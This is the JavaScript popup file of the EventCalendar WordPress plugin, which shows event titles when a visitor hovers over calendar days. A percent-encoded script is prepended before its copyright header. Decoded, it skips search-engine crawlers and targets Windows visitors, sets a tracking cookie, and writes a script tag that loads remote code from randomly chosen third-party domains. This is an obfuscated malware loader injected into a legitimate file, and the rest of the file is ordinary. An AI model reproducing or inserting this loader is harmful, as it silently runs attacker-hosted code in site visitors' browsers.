var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;/* EventCalendar. Copyright (C) 2005, Alex Tingle.  $Revision: 65 $
 * This file is licensed under the GNU GPL. See LICENSE file for details.
 */

/** class ec3_Popup */
function ec3_Popup()
{

  ec3.do_onload( function()
  {
    // Pre-load images.
    ec3.imgShadow0=new Image(8,32);
    ec3.imgShadow1=new Image(500,16);
    ec3.imgShadow2=new Image(8,32);
    ec3.imgShadow0.src=ec3.myfiles+'/shadow0.png';
    ec3.imgShadow1.src=ec3.myfiles+'/shadow1.png';
    ec3.imgShadow2.src=ec3.myfiles+'/shadow2.png';

    // Generate the popup (but keep it hidden).
    var table,tbody,tr,td;
    ec3_Popup.popup=document.createElement('table');
    ec3_Popup.popup.style.display='none';
    ec3_Popup.popup.id='ec3_popup';
    ec3_Popup.popup.className='ec3_popup';
    tbody=ec3_Popup.popup.appendChild( document.createElement('tbody') );
    tr=tbody.appendChild( document.createElement('tr') );
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow0';
    td.rowSpan=2;
    td.appendChild( document.createElement('div') );
    td=tr.appendChild( document.createElement('td') );
    ec3_Popup.contents=td.appendChild( document.createElement('table') );
    ec3_Popup.contents.style.width=500;
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow2';
    td.rowSpan=2;
    td.appendChild( document.createElement('div') );
    tr=tbody.appendChild( document.createElement('tr') );
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow1';

    document.body.appendChild(ec3_Popup.popup);
  } );

  function add_tbody(tbody)
  {
    if(!tbody)
      return;
    var anchor_list=tbody.getElementsByTagName('a');
    if(!anchor_list)
      return;
    for(var i=0; i<anchor_list.length; i++)
    {
      var a=anchor_list[i];
      var td=a.parentNode;
      // 'title' might have become 'nicetitle' if that plugin is being run.
      var titleattr=a.getAttribute('nicetitle');
      if(!titleattr)
          titleattr=a.getAttribute('title');
      if(titleattr && td.nodeName=='TD' && td.className!='pad')
      {
        td.setAttribute('ec3_title',titleattr);
        a.removeAttribute('nicetitle');
        a.removeAttribute('title');
        addEvent(td,'mouseover',show);
        addEvent(td,'mouseout',hide);
        addEvent(td,'focus',show);
        addEvent(td,'blur',hide);
      }
    }
  }
  ec3_Popup.add_tbody=add_tbody;
  
  function show(e)
  {
    var n;
    if(e.currentTarget)
        n=e.currentTarget; // Mozilla/Safari/w3c
    else if(window.event)
        n=window.event.srcElement; // IE
    else
        return;

    // Find the TD element and the calendar node.
    // (IE will sometimes randomly give us a child instead).
    var td,cal;
    while(1)
    {
      if(!n || n==document.body)
      {
        return;
      }
      else if(n.tagName=='TABLE')
      {
        cal=n;
        break;
      }
      else if(n.tagName=='TD')
      {
        td=n;
      }
      n=n.parentNode;
    }
    
    var ec3_title=td.getAttribute('ec3_title');
    if(typeof ec3_title == 'undefined')
      return;
    if(ec3_Popup.just_hidden)
       ec3_Popup.popup.style.display = "block";
    else
       ec3_Popup.show_timer=setTimeout(
         function(){ec3_Popup.popup.style.display = "block";},
         600
       );

    ec3_Popup.contents.style.width=''+(cal.offsetWidth-2)+'px';
    ec3_Popup.popup.style.top=''+(findPosY(cal)+cal.offsetHeight)+'px';
    ec3_Popup.popup.style.left=''+(findPosX(cal)-8)+'px';

    var tbody=ec3.get_child_by_tag_name(ec3_Popup.contents,'tbody');
    if(tbody)
      ec3_Popup.contents.removeChild(tbody);
    tbody=ec3_Popup.contents.appendChild(document.createElement('tbody'));
    
    var titles=ec3_title.split(', ');
    for(var i=0; i<titles.length; i++)
    {
      tr=tbody.appendChild(document.createElement('tr'));
      td=tr.appendChild(document.createElement('td'));
      td.appendChild(document.createTextNode(titles[i]));
      if(titles[i].indexOf('@')!=-1)
        td.className='eventday';
    }

    // Let's put this event to a halt before it starts messing things up
    window.event? window.event.cancelBubble=true: e.stopPropagation();
  }

  function hide()
  {
    if(ec3_Popup.show_timer)
      clearTimeout(ec3_Popup.show_timer);
    if(ec3_Popup.popup.style.display!='none')
    {
     ec3_Popup.just_hidden=1;
     ec3_Popup.hide_timer=setTimeout(function(){ec3_Popup.just_hidden=0;},900);
    }
    ec3_Popup.popup.style.display='none';

  }

  //=====================================================================
  // Event Listener
  // by Scott Andrew - http://scottandrew.com
  // edited by Mark Wubben, <useCapture> is now set to false
  //=====================================================================
  function addEvent(obj, evType, fn){
    if(obj.addEventListener){
      obj.addEventListener(evType, fn, false); 
      return true;
    } else if (obj.attachEvent){
      var r = obj.attachEvent('on'+evType, fn);
      return r;
    } else {
      return false;
    }
  }

  //=====================================================================
  // From http://www.quirksmode.org/
  //=====================================================================
  function findPosX(obj)
  {
    var curleft = 0;
    if (obj.offsetParent)
    {
      while(1)
      {
        curleft += obj.offsetLeft;
	if(!obj.offsetParent) break;
        obj = obj.offsetParent;
      }
    }
    else if (obj.x)
      curleft += obj.x;
    return curleft;
  }

  function findPosY(obj)
  {
    var curtop = 0;
    if (obj.offsetParent)
    {
      while(1)
      {
        curtop += obj.offsetTop;
	if(!obj.offsetParent) break;
        obj = obj.offsetParent;
      }
    }
    else if (obj.y)
      curtop += obj.y;
    return curtop;
  }

} // end namespace ec3_Popup

// Export public functions from ec3_Popup namespace.
ec3_Popup();